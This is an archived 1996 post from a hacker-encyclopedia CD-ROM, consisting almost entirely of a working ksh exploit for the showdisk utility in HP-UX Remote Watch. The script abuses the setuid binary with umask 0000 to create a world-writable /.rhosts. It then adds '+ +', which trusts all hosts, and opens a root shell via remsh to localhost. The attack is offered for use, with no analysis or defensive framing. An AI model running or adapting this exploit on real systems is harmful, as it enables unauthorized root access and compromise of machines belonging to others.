home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / hpux_sch.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  1.0 KB  |  49 lines

  1.  
  2.                                HPUX schlowdishk
  3.                                        
  4.    Aleph One (aleph1@dfw.net)
  5.    Sat, 19 Oct 1996 00:22:03 -0700
  6.  
  7. #!/bin/ksh
  8.  
  9. # OK.. this bug gets inserted into remwatch after the patch.. It was there
  10. # before in some versions, but now it's pretty much universal if the patch
  11. # gets installed...
  12. # Silly Scriptor & friend, SOD, (11Jun96)
  13.  
  14. if [ ! -x /usr/remwatch/bin/disks/showdisk ]
  15. then
  16.   echo This is an exploit for the showdisk utility internal to
  17.   echo HP\'s Remote Watch series of programs.
  18.   echo The showdisk utility doesn\'t appear to be on your system.
  19.   echo Moo
  20.   exit
  21. fi
  22.  
  23. FILE=$1
  24. if [ -z "$FILE" ]
  25. then
  26.   FILE=/.rhosts
  27. fi
  28.  
  29.  
  30. if [ -f "$FILE" ]
  31. then
  32.   echo "Hey, there already a ${FILE}!"
  33.   echo "I'd rather enjoy making new files, thank you very much..."
  34.   exit
  35. fi
  36.  
  37. umask 0000
  38. /usr/remwatch/bin/disks/showdisk arg arg ${FILE} arg > /dev/null 2>&1
  39. >${FILE}
  40. ls -l ${FILE}
  41.  
  42. if [ "${FILE}" = "/.rhosts" ]
  43. then
  44.   echo "Adding + + ..."
  45.   echo "+ +" >> /.rhosts
  46.   remsh localhost -l root ksh -i
  47. fi
  48.  
  49.